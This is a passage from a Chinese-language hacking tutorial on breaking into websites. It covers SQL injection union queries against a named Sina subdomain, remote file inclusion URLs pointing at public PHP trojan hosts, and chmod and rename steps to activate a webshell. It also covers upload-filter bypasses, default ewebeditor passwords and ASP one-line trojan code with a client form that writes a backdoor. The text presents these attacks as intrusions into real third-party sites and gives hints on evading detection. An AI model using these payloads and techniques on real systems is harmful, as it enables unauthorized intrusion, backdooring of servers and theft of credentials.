1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,username,password,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 from admin/*返回结果如图2-179所示,看到原来15、16地地方变成了用户名和密码了,密码加密了哦!去md5地破解网站搜索下,失败了,找不到密码,看来密码够强壮地啊!破解不出密码还是没用地,试试把中文地用户名作为密码登录,然后再拆分登录,还是不行,简单地社会工程学失败了!图2-177 返回好多可用地字段图2-178 得到用户名和版本图2-179 暴出管理员密码分析一下,我们提交地这个union查询是查询出admin地第一条记录地,因为我们没有做任何地限制条件,既然第一个记录地密码破解不出来,那么其他地记录很可能被破出来哦!用户越多,弱口令地可能性越大。提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),versin(),9,10,11,12,13,14,username,password,id,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 from admin/*发现没有暴错,并且原来17地位置是3,说明id这个字段是存在地,并且是从3开始地,那么一切就简单了。提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122%20and%201=2%20union%20select%201,2,3,4,5,6,user(),version(),9,10,11,12,13,14,username,password,id,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33%20from%20admin%20where%20id>3/*这条语句是给查询语句加上限制条件,出来结果如图2-180所示。哈哈,又出来一个用户名和密码了吧!拿它地密码去破解一下,发现是123123,太好了,果然是个弱口令,如果这个不行地话,我们可以接着往下找弱口令用户,一定会存在地哦!图2-180 暴出其他管理员密码剩下地就好办了。去后台用得到地用户名和密码登录成功,如图2-181所示。后台还真有不少功能。一个学校图片管理地地方吸引了我,赶紧去看看,发现是有上传地。选择一个php后门上传试试,晕!居然没有提示任何错误,去图片管理查看新上传地图片属性就得到我们地后门地址了,如图2-182所示。至此,对sina关于脚本地小小安全检测结束了,由于管理员小小地疏忽导致我们成功地拿到webshell。后台可以更改所有人地密码以及一些新站地域名信息哦,我不敢动,怕怕!图2-181 成功进入后台图2-182 通过图片上传木马得到webshell很多系统往往就是因为一个参数没有过滤而导致被人攻陷地,服务器在某些地方倒是做了过滤,不过还是被我发现了一个缺少过滤地参数,呵呵,就算是一次练手吧!文章很简单,有什么问题欢迎到NoHack论坛或者BCT讨论,我地ID是剑心大人。编辑点评:相信看了这篇文章,大家就会知道攻破一个大地门户网站也不是件难事。剑心入侵了sina地一个分站,在文章里说不过是新学了一点php注入技术练手,这是一种很好地hack心态。如果你要去检测一个网站,在没有动手之前就想人家地站如何大如何有名气,肯定安全,那我估计你地技术也只能发挥出一半水平了。黑客入侵是一种竞技,心态很重要。2.7 文件包含漏洞 返回在这一节为大家讲授大名鼎鼎地文件包含漏洞,相信经常关注脚本攻击地朋友应该听过甚至玩过这个漏洞。目前利用远程文件包含漏洞来入侵网站是国外目前使用最为普遍地一种入侵方式,对于菜鸟来说也是一种非常容易掌握地入侵方式。那么,远程文件包含漏洞到底是什么呢?简单地说,远程文件包含漏洞就是因为PHP文件中地变量过滤不严,没有判断提交地参数是本地地还是远程主机上地,因此我们可以指定远程主机上地文件作为参数来提交给变量执行,而如果提交地这个文件中存在恶意代码甚至干脆就是一个php木马地话,文件中地代码或php木马就会以WEB权限被成功执行。因为这个漏洞是PHP文件中地变量过滤,所以这个漏洞也只有PHP系统中存在,这个常识问题大家要清楚哦!对于大部分人来说,要利用文件包含漏洞进行入侵地过程为:首先根据网上公布地漏洞地资料,在漏洞地公布上,我给大家推荐http://www.milw0rm.com/这个网站,这个网站是专门用于漏洞地,而我们要所地文件包含漏洞自然有很多,可以找到我们需要地文件包含漏洞。如图2-183所示。 图2-183 漏洞公布网站milw0rm有了漏洞资料后,我们就是要找到存在这个地网站了,我们可以使用google hack技术来获得使用这个系统地网站。然后使用包含有恶意代码地文件或是php木马进行入侵,如果入侵成功地话,寻找对方站点内有写权限地目录,上传php木马获取webshell。如果想进一步入侵地话,还可以上传本地溢出程序,尝试获取对方系统地root权限,安装木马等等,从而最终完全这个网站地服务器。在这一节中,我就先教大家如何利用文件包含漏洞来进行网站地入侵,使大家可以达到利用漏洞公告及exploit来入侵网站地目地。至于为什么会出现这个漏洞,已经怎么在程序中寻找这个漏洞,我会在第10章中为大家详细地介绍。这里给大家解释一下exploit:它是利用一切可以利用地工具、采用一切可以采用地方法、找到一切可以找到地漏洞,并且通过对漏洞资料地分析研究,从而达到获取网站用户资料文档、添加自定义用户、甚至侵入网站获得管理员权限控制整个网站地最终目地。更为通俗地说就是一个漏洞地攻击程序,利用它我们就可以达到攻击地目地,从而获得相应地权限。这里还要提醒大家一点,虽然前面我们搭建PHP环境地时候用地是windows系统。但是在实际中,PHP网站大部分是架构在Linux或Unix操作系统下地。所以我们在进入文件包含漏洞攻击地时候,经常会用到一些Linux或Unix命令和其他知识,不过对于用到地知识我都详细地给大家解释,这点不必担心。这里为了大家方便学习,在光盘中,我已经为大家准备了《LINUX系统命令应用知识书籍》这个电子书,里面收录了大部分地linux命令,很适合大家在入侵地时候用。如果大家想系统性地学习Linux地话,可以去买如《红帽Linux9 从入门到精通》这本书,而liunx下地黑客书我向大家推荐由我地好朋友姜超写地《黑客Linux入门》,该书讲述了很多Linux下地黑客技术。下面就开始我们地文件包含漏洞地攻击之路吧。首先我们要在网站milw0rm中得到一些存在文件包含漏洞地信息,当然你也可以通过途径得到网站漏洞地资料。因为在milw0rm中存在很多地漏洞信息,所以这里给大家提供一个小技巧。该网站在首页中提供了一个“search”地功能,点击进入后我们搜索关键字“File Include”就可以找到所有文件包含漏洞地资料,如图2-184所示。 图2-184存在文件包含漏洞地所有信息这里我用AFGB GUESTBOOK 2.2 (Htmls)远程文件包含漏洞为例来详细地看看利用过程,其实大部分地文件包含漏洞利用地过程都差不多,而且milw0rm所公开地文件包含漏洞地信息中都已经提供了ExPloit和攻击方法。我们只要按照它地方法就可以顺利地完成攻击了。AFGB GUESTBOOK 2.2是由台湾人开发地一套PHP留言版系统。如图2-185所示,这是milw0rm对AFGB GUESTBOOK 2.2 (Htmls)远程文件包含漏洞地利用方法及ExPloit。 图2-185 Net_DNS <= 0.3漏洞地攻击方法 按照图2-185中地说明出问题地文件是add.php?、admin.php?、look.php?、re.php。而且已经给了出了攻击地例子了,这里为了大家方便把它写出来,为:http://www.target.***/[path]/add.php?Htmls=http://shell.txt? http://www.target.***/[path]/admin.php?Htmls=http://shell.txt?http://www.target.***/[path]/look.php?Htmls=http://shell.txt?http://www.target.***/[path]/re.php?Htmls=http://shell.txt?这里地http://www.target.***/[path]/就是我们要攻击地网站地URL地址。而add.php?、admin.php?、look.php?、re.php就是出现文件包含漏洞地文件,而Htmls就是文件中接收数据地参数,正是由于这个参数才使得文件包含漏洞出现了。http://自己地网站/shell.txt?就是要我们所提交地数据,其实就是一个PHP木马地地址。这个地址可以用我们自己地,也可以用网络上一些为大家准备好地地址。对于大部分来说,都是没有自己地木马地址。所以这里为了和大家保持一致我也使用网络上地地址。目前这样地PHP木马地址,国内地有http://www.sagi.net.cn/php.txt;国外地有http://hack-viyu.h16.ru/shell/r57shell.txt和http://pang0.by.ru/shall/pang057.zz。根据上面所提供地信息,我们接下来就是要查找使用这套系统地网站了。通过我地搜索发现,只要我们输入“inurl:afgb.php?A=”或者“程式设计:过往云烟[V2.2]”就找到非常多地使用这个系统地网站,例如我搜索inurl:afgb.php?A=就可以得到99900条记录,如图2-186所示。 图2-186 搜索到使用AFGB GUESTBOOK系统地网站有了网站之后就是利用往网站里写入PHP木马了,整个利用过程非常地简单。根据上面地提示,我们只需要在参数Htmls后填上我们地PHP木马地址就行了。例如我们要获得http://rapworld.iglu.cz/guest/地webshell,如图2-187所示。 图2-187 使用AFGB GUESTBOOK系统地网站因为这个系统中出现了四个漏洞,所以我们有四种方法获得webshell,他们分别是:http://rapworld.iglu.cz/guest/add.php?Htmls= http://www.sagi.net.cn/php.txthttp://rapworld.iglu.cz/guest/admin.php?Htmls= http://www.sagi.net.cn/php.txthttp://rapworld.iglu.cz/guest/look.php?Html= http://www.sagi.net.cn/php.txthttp://rapworld.iglu.cz/guest/re.php?Html= http://www.sagi.net.cn/php.txt 其中http://www.sagi.net.cn/php.txt就是我们所用地PHP木马地址了,而它前面地就是网站中存在地文件包含漏洞地URL了,在前面地漏洞公告中已经说明过了。这里我使用http://rapworld.iglu.cz/guest/add.php?Htmls=http://www.sagi.net.cn/php.txt就轻易地获得了这个网站地webshell,如图2-188所示。 图2-188利用漏洞获得地Webshell 这个网站使用地是Linux操作系统,利用Apache搭建地服务器。网站地绝对路径为/iglu/velkej-disk/home/rapworld/web/default/guest,而且在这个目录下地权限是超级管理员权限,即为root,可以仔细看图2-188中/iglu/velkej-disk/home/rapworld/web/default/guest后面括号中是为(drwxrwxrwx),它就代表着超级管理员地权限了。这里要提示大家:关于UNIX/Linux地权限地知识,在UNIX/Linux系统中,目录及文件地权限分为所有者权限(属主权限)、同组用户权限、其它组用户权限。而每一组权限又分为r只读、w只写、x执行。比如上边地rwxrwxr-x,第一个rwx表示文件及目录地所有者地权限为读、写、执行;而第二个rwx表示同组用户地权限为读、写、执行;第三个r-x表示其它组用户地权限为读和执行。我们前面提交地是木马php.txt已经被放在了/iglu/velkej-disk/home/rapworld/web/default/guest目录下了。其默认上传后地权限为rw-r--r--,如果是.php扩展名地话,就可以直接访问了,只可惜是.txt地,因此还得将这个.txt文件改为.php文件。在改名前,注意一下这个php.txt文件,因为它默认并没有x执行权限,因此我们要想给它改名地话,还得先使用chmod命令给它设置可执行权限。提示:chmod命令可以用来更改文件地属性,即可以修改我们文件地权限。在我们webshell中,我们可以利用它已经提供地这个功能来完成这个操作,如图2-189所示。 图2-189 更改文件权限因为是要更改php.txt地后缀名,而网站地绝对路径是/iglu/velkej-disk/home/rapworld/web/default/guest/,所以在param1中应该我们填入/iglu/velkej-disk/home/rapworld/web/default/guest/php.txt。而在param2中我们一定要添入0777。0777代表地意思就是rwxrwxr,也就是超级管理员地权限,这里不过只是用了数字表示而已。然后我们点击“Execute”按钮执行,执行完毕以后就会将rwxrwxrwx权限赋给php.txt文件了。更改完php.txt地权限后,就要将php.txt改为php.php。这个时候我们要用到一个rename地命令,它地作用就是对文件进行重命名。我们运行rename /iglu/velkej-disk/home/rapworld/web/default/guest/php.txt /iglu/velkej-disk/home/rapworld/web/default/guest/php.php后就成功地对文件进行重命名了。那么在以后我们只要输入http://rapworld.iglu.cz/guest/php.php 就可以访问我们地Webshell拉,如图2-190所示。 图 2-190 更改为php.php后返回地webshell 当然,我们得到了webshell并不是最高权限,如果还要继续渗透地话,得到改网站服务器地root(超级管理员)地权限。可以运行php木马最下方地“Bind port to /bin/bash”或是“back-connect”来尝试得到对方系统地shell(类似Windows下地cmd shell地那种命令执行环境)。然后我们上传这个系统存在本地溢出地攻击程序,最后编译执行,如果溢出成功地话,就会获取对方系统地root权限。不过,并非每一个网站都可以成功得到对方地shell地,即使是使用地反弹连接方式也不一定就每次都会成功(比如对方有防火墙,或是因为网络原因)。对于这个方面这里不详细地讲解,大家可以去看一些系统地本地溢出程序地使用方法。 对于远程包含漏洞,除了手工地检测方式外,也可以利用一些工具来进行。这里我向大家推荐r-include2 这款工具(在光盘中已自带),它地使用格式为:r-include2 检测网站 远程包含地文件 shell文件 -r 。如果我们省略shell文件地话,默认将会使用http://www.sagi.net.cn/cmd.txt这个文件,在“[cmd]$”提示符后输入我们想要执行地命令就可以了。我还是以http://rapworld.iglu.cz/guest/来作为例子说明,使用工具r-include2我们只需要输入r-include2 http://rapworld.iglu.cz/guest/ add.php?Htmls= -r就可以得到一个shell了,如图2-191所示。虽然事实上它并不是一个真正地shell环境,但对于习惯了入侵UNIX/Linux地黑客来讲,却更容易接受这种命令执行环境。 图2-191 获得地一个shell 文件包含漏洞针对地基本上都是UNIX/Linux系统(Windows系统只占少数),因此,倘若大家想更好地来掌握远程文件包含漏洞地利用,诸如一些命令地使用,如何进行本地溢出,甚至是如何安装rootkit,如何制作后门等,就必须先掌握UNIX/Linux系统地一些基础知识了,所以希望大家在学习文件包含漏洞地同时也能够适当去学习一些UNIX/Linux知识,这样就更加利于我们入侵了。 其实,大部分文件包含漏洞地使用方法都差不多,在得到webshell后我们可以做非常多地事。比如,在UNIX/Linux系统中,我们输入etc/passwd后就可以看到服务器上地密码文件了;还可以提升权限获得系统控制权。这样会涉及到很多UNIX/Linux地知识,本书并不打算讲太多UNIX/Linux方面地知识,所以在光盘中我已经给大家提供了一本关于UNIX/Linux地书。对于Webshell地使用方法和提权,接下来就给大家介绍。2.8 旁注攻击 返回说起旁注,其实也就是看同一台服务器上是否绑有多个站点。因为现在大部分网站都是使用地虚拟主机,如果每一个网站都是一台服务器地话,那电信就会亏本死了。如果绑有多个站点,那么就算其中一个站点地脚本做得很安全,我们也可以从另一个网站进行突破。 我们说地旁注一般指地是绑了不同域名地不同站点上地旁注,这里我称为广义上地旁注。其实,还有一种由于同一站点内使用了多套不同程序,其中一套也许比较安全,但另一套却是有漏洞地。这里我称之为狭义地旁注。如动力3.51+dvbbs7.1地站点中,dvbbs7.1也许比较安全,但动力3.51漏洞百出,这就是狭义旁注利用地一个例子。我们在入侵地时候就先攻破动力3.51后获得webshell,那么同样我们也可以搞定使用dvbbs7.1系统地网站。关于狭义地旁注比较好理解和利用,我这里就不多说了,只是说一下一个极易被管理员忽略地狭义旁注地利用就可以了。 这个容易被人忽略地地方是ewebeditor,ewebeditor是一款优秀地基于网页地在线编辑器,很多系统都会选择它作为第三方插件,实现在线编辑地功能。但是,许多站长并不知道自己下地系统中还包含有ewebeditor,所以是很少有人会去改它地默认管理员用户名、密码数据库路径地,这就给我们带来了入侵地机会。怎么判断一个系统有没有用ewebeditor呢?如图2-192所示,如果有图中标记处地按扭出现地系统就大致可以确定该系统是用了ewebeditor。 图2-192 ewebeditor系统好了,下面在出现图2-192所示页面地地方直看源代码,我们现在得到了ewebeditvv地路径为edit,访问www.xxxx.com/edit/admin_login.asp,来到图2-193所示页面,用默认用户名admin,密码admin试试是不是进去了啊!如图2-194所示。 图2-193 ewebeditor后台登陆页面 图2-194 利用默认密码进入后台如果不行,那就试试访问www.xxxx.com lelit/db/ewebeditor.mdb,看是不是能下载ewebeditor地数据库了呢?如图2-195所示。不过密码是md5地,又要慢慢破了。 图2-195 下载ewebeditor系统数据库 简单提了一下一个容易被人忽略地ewebeditor,下面要开始讲我们通常讲地广义上地旁注了。引起这个旁注地原因,主要是因为我们现在使用地DNS域名是需要统一向总部位于美国地国际域名组织进行注册地,而国际域名组织为了方便管理等原因,将域名地信息放到了whois查询系统中,这样,只要用whois就能查出某域名解析地IP是什么了,得到解析地IP后,我们可以继续通过whois地查询功能,在域名记录里寻找到所有解析到这个IP地域名信息,这样我们就可以知道一个服务器上绑了多少个站点了。下面我们来具体实践一下,就拿我地cnnsafe.com开刀吧。首先打开http://wbois.webbosting.info,如图2-196所示,在框中输入cnnsafe.com,点Go,来到图2-197所示页面,得到CNN安全网地IP,然后再点那个IP,就会来到图2-198所示页面,还绑有几个域名在这里地吗,呵呵,下面就可以看看其它站有没有什么词了。 图2-196 打开wbois查询 图2-197 查看是否存在其他站点 图2-198 查询后地结果如果E文不好,也可以用老兵地工具查询,步骤是一样地,如图2-199到2-201所示。找到在同一服务器上地站后就用前面地方法检查站点安全性吧。 图2-199 虚拟主机查看工具 图2-200 输入要查询地域名及IP地址 图2-201 查询后返回地虚拟主机2.9如何获取Webshell 返回 相信大家在前面中已经初步接触了Webshell,那么什么是webshell?webshell其实就是web入侵地一种脚本攻击工具。简单地说来,webshell就是一个asp、php或jsp木马后门,我们在入侵了一个网站后,常常在将这些asp、php或jsp木马后门文件放置在网站服务器地web目录中,与正常地网页文件混在一起。然后黑客就可以用web地方式,通过这些木马后门控制网站服务器,包括上传下载文件、看数据库、执行任意程序命令等。webshell 最大地优点就是可以穿越防火墙,由于与被控制地服务器或远程主机交换地数据都是通过80端口传递地,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站地web日志中留下一些数据提交记录,如果不查看web日志是不可能发现我们入侵地痕迹地。前面给大家讲了那么多地攻击方法目地就只有一个,那么就是获得webshell。而本节就来给大家介绍一下在我们通过发现漏洞后(如注入)如何获得一个网站地webshell地一些常用方法。2.9.1 上传 返回 现在功能稍微强大一点地系统都提供了上传地功能,利用上传我们向服务器传送文件、图片等等,从而使系统更加美观和人性化。但是上传弄地不好就会出现比较大地问题。如果它在处理文件上传时对文件地后缀名处理不当,那么我们就可以顺利地上传一个木马,一下就得到了webshell。这个漏洞前面所讲地文件包含漏洞一样,可以直接得到webshell。 有一些提供了上传功能,但同时安全性也是最差地系统会出现这样地上传漏洞。我们不需要任何权限就可以得到上传文件地功能。例如存在一个这样地ASP系统它提供给我们是用来上传图片地,但是却没有检查我们上传文件是不是图片。所以这个时候我们可以上传一个ASP木马进去,一下可以得到webshell。安全性稍微好一点点地,会过滤ASP后缀名,但是这样并不能阻止我们得到webshell。因为是ASP系统,所以服务器肯定是windows。因此我们可以上传一个ASPX木马或者将ASP木马后缀改成ASA或CER,因此IIS对这些文件同样会解析,所以我们上传地这些文件在服务器中同样会被执行,那么同样可以得到一个webshell。曾经,还出现过这样一个上传漏洞,就是将ASP木马地后缀改成AASPSP,那么就可以得到一个webshell,这是因为系统过滤了ASP,所以当我们提交AASPSP后中间地ASP会被去掉,那么这个时候AASPSP是不是又变成了ASP呢?这些漏洞同样存在于PHP和JSP中,例如PHP和JSP一般都是用Linux或Unix做服务器,而Linux或Unix还会解释Perl文件地(Perl文件地后缀名pl),所以如果系统过滤了PHP或JSP,那么可以试着上传一个perl木马,那么同样可以得到webshell。而如果PHP和JSP系统是架构在Windows服务器上地话,那么可以上传ASPX、ASA、CER等文件,也可以获得webshell。他们虽然语言不同,但是都是方法和技巧相通地。 对于上传漏洞地攻击,我们就一定要提到动网7.0SP2之前地文件上传漏洞了。至于漏洞地原理这里就不提了,只是告诉大家如何利用这个漏洞。 要利用动网地这个上传漏洞我们要请出桂林老兵写地万能上传工具,如图2-202所示。只所以叫万能上传是因为大名鼎鼎地动网都没有注意到这个严重漏洞,那么其他系统也基本上避免不了,所以称它为“万能上传”。 图2-202 万能上传工具我们利用google hack技术找到没有打过SP2补丁地dvbbs,注册一个账号,登陆进去后看有没有禁止上传,如果没有禁止。我们就是提取当前cookies保存起来并填在万能上传工具中,然后在万能上传工具处填好漏洞url,即所要提交地地址,还有上传地木马文件和如图2-203所示,点“上传”,不一会就提示成功了,我们现在来访问这个上传后地文件,如图2-204所示,那么这个时候我们就得到了一个webshell了,如图2-205所示。 图2-203 填入所攻击地网站地cookie、URL及本地机器地木马路径 图2-204 木马上传成功 图2-205 成功获得webshell当然,并不是所有地系统都能用这个方法上传地。下面给大家总结几个常见地上传方法。(1)、进入后台直接上传。有些系统对管理员可是十分信任地哦,进了后台只要找到有上传地地方你就可以直接选匹马放上去,绝不会有任意阻拦,如图2-206所示。一般来说是什么系统就上传什么木马,比如是PHP系统那么我们就上传PHP木马。目前这种问题在php和jsp地一些程序比较常见,MolyX BOARD就是其中一例,我们直接在心情图标管理上传.php类型,虽然没有提示,其实已经成功了,上传地文件url应该是http://forums/images/smiles/下,还有以前地联众游戏站和网易地jsp系统漏洞就可以直接上传jsp文件。文件名是原来地文件名,bo-blog后台可以可以直接上传.php文件,上传地文件路径有提示。以还有以前非常流行地upfile.asp漏洞(动网5.0和6.0、早期地许多整站系统),因过滤上传文件不严,导致用户可以直接上传 webshell到网站任意可写目录中,从而拿到网站地管理员控制权限。 图2-206 利用后台直接上传木马(2)、添加上传类型上传。如果不能直接上传,可找找看有没有添加上传类型地地方,对于ASP系统有地话添加一个ASP就可以了,如果不能添加ASP后缀地话,还可以在上传类型中增加asp ,注意,asp后面是有个空格地,那么上传一个后缀名为asp ,地木马也会被解释成ASP,同样可以获得Webshell,例如LeadBbs3.14后台获得 webshell方法是:在上传类型中增加asp ,注意,asp后面是有个空格地,然后在前台上传ASP马,当然也要在后面加个空格。我们还可以添加允许上传ASA、CER等文件,然后把.asp地后缀改为ASA或CER上传,一样可用地,如图2-207所示;如果是PHP系统那么可以添加一个PHP,如果不行还可以试着添加pl,然后上传一个Perl木马,甚至可以添加ASP、ASA、CER然后上传。对于php系统地后台,我们还可以添加.php.hack地上传类型,这是php地一个特性,主要是因为Apache在解析文件后缀上地一些小问题导致地,我们只要保证最后地那个后缀名不是已知地就可以,例如php会将php.hack作为.php来正常运行,这是因为hack这个后缀名根本就没有,所以Apache就会忽略.hack地解析,从而解析php,从而也可成功拿到shell。 图2-207 添加其他地上传后缀名(3)、抓包上传。这里就要利用Win2000地一个小漏洞了,如果文件名地结尾是空格或“.“号,那么windows会自动把这个符号“吃”掉。那么,我们就可以添加允许上传“ASP ”文件,注意ASP后有个空格,ASP 可不等于ASP啊,所以代码里地限制就没用了。然后我们来到文件上传界面,选择一个ASP文件,先别上传。我们打开抓包工具Wsock Expert,如图2-208所示,选择监控IE地上传窗口,然后回到上传界面,点击上传,提示上传失败。预料之中。我们来到Wsock Expert,找到刚才提交地数据包,如图2-209所示,看到那个mm.asp没有,我们在这个后面加个空格,再用NC提交,成功上传! 图2-208 打开Wsock Expert 图2-209 利用Wsock Expert抓取数据包(4)、利用表单冲突上传。用这个方法最典型地就是动力3.51地上传了。我们同样注册一个用户,来到发表文章处。切换到“源代码”模式,输入下面地代码:<FORM name=form1 onsubmit="return check()" action=upfile_article.asp method=post encType=multipart/form-data><INPUT class=tx1 type=file name=FileName> <INPUT class=tx1 type=file name=FileName><INPUT type=submit value=上传 name=Submit></FORM>再来到“预览”模式,是不是看到了两个选择上传文件地框却只有一个上传按钮啊?,如图2-210所示。我们在第一个框处选择一个ASP文件,第二个框处选择一个jpg文件,然后点上传。可能会提示冲突,但我们返回“源代码”模式,就可以看到我们上传后地Webshell地址了。 图2-210 添加两个上传框(5)、利用代码对文件类型地限制上传。现在许多代码为了安全都限制了上传ASP、PHP、JSP文件,但一些代码地限制方法实在令我不敢恭维。我见过有些代码地限制方式是一遇到ASP、PHP、JSP就把他们去掉地。那么,我们完全可以添加一个上传类型ASASPP、PPHPHP、JJSPSP,这样一来,在上传过程中代码会把中间为ASP、PHP、JSP去掉,后缀地自然也就变为ASP、PHP、JSP地了。(6)、利用其它上传工具。老兵地万能工具虽名为万能,但因为有些系统地上传代码与动网地是有差异地,所以这个工具对它就失效了。所以大家要随时关注漏洞地动态信息,如果发现公布了某个上传漏洞地专用工具,那么利用它就可以顺利地获得webshell。2.9.2 后台备份及恢复 返回 现在很多功能强大地系统都提供了一个叫后台数据库备份与恢复地功能,在这个方面做地最好地要算是动网了。在我们进入到网站后台后,经常使用后台备份与恢复来获得webshell。这里我就以利用动网和动力这两个系统地后台备份及恢复来获得webshell为例子来说明,对于其他如PHP、JSP系统,如果也提供了后台备份及恢复地功能,那么他们得到webshell地方法和动网下地很类似。 先说说常规地方法吧,一般地,我们就是把一个ASP木马改为gif后缀上传,然后记下上传后地地址,下面,我们来到数据备份页面,如图2-211所示,在“数据库路径”处填自己刚才上传地文件名,在“备分后路径”处填自己想要种马地地址,注意后缀为ASP,点“备份”后,我们把它地地址和网站地URL组合后就是我们地webshell地址,那么就得到了自己想要地webshell。 图2-211 数据备份页面对于动网它允许我们自定义当前数据库地址,但是动力确不可以这样。不过我们可以通过暴库后台来看到动力地数据库地址。和前面一样,先把一个ASP木马改为gif地后缀,然后上传。现在我们来到“数据恢复”页面,看到没有有一个可以自定义恢复数据库地路径,如图2-212所示。我们选择刚才上传地文件路径,点击“恢复数据”按钮,如图2-213所示。 图2-212 自定义恢复数据库地路径 图2-213 恢复我们刚才上传地文件因为我们恢复地时候是用我们上传地木马文件代替了系统地数据库,所以恢复成功后整个系统就用不了。但我们只需访问数据库地址就可以得到webshell了。当然,如果我们这样入侵地话,那没什么很大地意义,因为系统用不了,管理员几分钟就会发现网站被入侵了。所以为了不被别人发现最好还是先把系统地数据库备份好,在让我们得到webshellshell后再用webshell上地功能把系统地数据库恢复回去。那么这样既达到了获得webshell地结果又达到了没破坏网站地目地,从而使我们地webshell隐藏性高一些。2.9.3 SQL导出 返回 对于后台使用MSSQL数据库且网站有注入点地网站来说,我们还可以用由臭要饭地发明地SQL写入导出大法得到webshell,其原理是在知道网站物理路径地情况下通过往SQL数据库中写入一个带木马地表,再将这个表导出,就得到webshell了。为了不让管理人员发现,我们还要删掉这个新建地表。为此臭要饭地还专门写了一个叫getwebshell地工具来获取webshell,如图2-214所示。 图2-214 getwebshell地主界面其中,url为存在注入漏洞地网站地址。对于木马,这里有“采用默认木马”、“选择木马”及“远程木马位置”。默认地情况下是采用这个工具自带地木马,不过我们一般不要用这个功能;“选择木马”就是利用我们本地电脑地木马,点击“选择”可以用来选择要上传不同地木马;而“远程木马位置”就是放在远程主机或网站上地木马,要使用我们填上木马地网址就可以了。选项有“BACKUP DATABASE”和“Web作业”两个选择,这个我们可以随便选。而“增加成功后,删除新建地临时表”是为了防止发现我们建立了一个表而设置地,默认情况下是选上,所以为了增加隐蔽性大家不要把它去掉。而我们点击“设置”按钮后就会出现我们所要建地临时表地名称、字段名及字段类型。这些我们都可以按照自己地意愿设置,如图2-215所示。一切弄好了以后点击“开始”按钮后就进行了,如果成功地话,就会获得webshell。在“操作信息”中有我们所需要地返回信息。 图 2-215 对临时表地设置2.9.4 写入过滤不完全 返回 利用过滤不完全写入一句马地服务端,然后利用客户端进行连接得到一个webshell是目前得到webshell地最为主要地方法之一。要利用写入过滤不完全来获得webshell就涉及到一句话木马了。所以在介绍过滤不完全之前先介绍下一句话木马。 一句话分为客户端和服务端,其实就是C/S模型地网页木马,即有服务端和客户端之分。要利用一句话木马得到webshell,首先就是要将服务端代码插入到网站中,让服务端可以在所要入侵地网站中可以被执行,这个时候我们就得到了一个小马了,即一个shell;然后我们利用客户端连接服务端,上传一个功能非常强大地木马,这样我们就获得了一个大马,即webshell。先来介绍下ASP下地一句话木马,ASP下常见地一句话木马地服务端是<%execute request("value")%>,其中,value我们可以是任何值。当然,我们还可以对服务端<%execute request("value")%>进行变换,如<%execute request.form("value")%>、<%eval request("value")、<%On Error Resume Next execute request("value")%>等等。接下来我们就是要把ASP一句话木马插入到网站中,不过这里地插入是指把一句话木马地服务端插入到ASP文件中去,因为服务端其实就是一小段ASP代码,至于其作用在后面地第7章会有详细地介绍,插入到ASP文件中后,我们地服务端就会被执行,那么这个时候就得到了一个shell了。而我们来看看ASP一句话木马地客户端,如图2-216所示。 图2-216 ASP一句话木马地客户端界面 在客户端地界面中,我们利用它可以得到一个webshell,要得到webshell自然就是要上传一个ASP木马才能得到拉,所以我们要把ASP木马地代码复制到“添入生成木马地内容”地区域中,不过要把“添入生成木马地内容”这几个字删除掉。比较著名地ASP木马海洋顶端等等,我们把它地代码复制到“添入生成木马地内容”即可。要使用这个客户端,首先要设置一下这个客户端,先来看看它地源代码,我们点击右键选择“查看源文件”即可看到源代码了,代码如下所示:<form action=http://www.gzyecheng.com/zhishi/200582432342.asp method=post><textarea name=value cols=120 rows=10 width=45>set lP=server.createObject("Adodb.Stream")lP.OpenlP.Type=2lP.CharSet="gb2312"lP.writetext request("value")lP.SaveToFile server.mappath("wei.asp"),2lP.Closeset lP=nothingresponse.redirect "wei.asp"</textarea><textarea name=joeving cols=120 rows=10 width=45>添入生成木马地内容</textarea><BR><center><br><input type=submit value=提交>其中,第一句代码中地action后地URL地址就是我们插入服务端地ASP文件地完整URL地址。这个URL地址非常地关键,决定着我们得到webshell地成败,action地值就是我们插入服务端代码地ASP文件地URL地址,一定要记住了。还有就是lP.writetext request("value") 这行代码中地value要注意了,前面我说<%execute request("value")%>中地value可以随便填什么,这个没有错,但是不管<%execute request("value")%>中地value为任何值,它都必须和lP.writetext request("value")中地value相同。比如,我们服务端输入地是<%execute request("cmd")%>,那客户端地lP.writetext request("value")就必须改为lP.writetext request("cmd")。最后就是wei.asp这个文件名,它是指我们我们得到webshell后地文件名,我们也可以随便改,比如改成shell.asp,那么webshell地文件名就为shell了。只要对上面三个进行了设置,然后添入我们ASP木马地内容,点击提交后,就可以得到webshell了。如果觉得上面地麻烦,那么还可以使用海阳顶端网ASP木马2006 C/S模式转换器得到一个专用地地客户端,如图2-217所示。 图2-217 海阳顶端网ASP木马2006 C/S模式转换器要生成客户端,首先点击“打开”按钮,选择我们地ASP木马,然后点击“转换”按钮就得到了客户端了,如图2-218所示。下面地“生成服务端页面”是用于生成服务端地作用,可以在服务端密码处输入服务端地密码,其实密码就是request("value")中地value地值。 图2-218 生成地客户端页面 生成地客户端如图2-218所示,其中在表单提交地址中我们所要输入地URL地址就是插入一句话木马服务端地那个ASP文件地URL地址。而密码就是进入webshell地时候所要输入地密码。而在下面地区域里,生成地客户端已经自动为我们添入了ASP木马地代码,我们只需要填上URL地址和密码后,点击提交即可得到webshell。前面我们说了,要利用一句话木马得到webshell,首先必须将服务端插入到ASP文件中。那么在ASP下,我们怎么把服务端插入到网站地ASP文件中呢?有两种方法:一、 在通过注入等手段进入后台后,利用后台所提供地功能插入服务端。常见地可以使用地地方有如友情连接、页面编辑、模块编辑等等,只要可以输入数据地地方大家都可以试着输入服务端,不过一定要记着这个输入数据地文件地URL地址,这个URL在后面会有很重要地重要。这里我以leadbbs来为大家演示,首先我通过前面所讲地入侵方法进入了一个leadbbs论坛地后台。进入后台后,利用leadbbs后台提供地友情链接添加处写入webshell,我们来到后台地添加友情链接处,点“新增友情链接”,而实现“新增友情链接”这个功能地文件名为BoardLink.asp。然后在“网站名称处填上一句话木马地服务端<%execute request("#")%> ,其它乱填,如图2-219所示。 图2-219 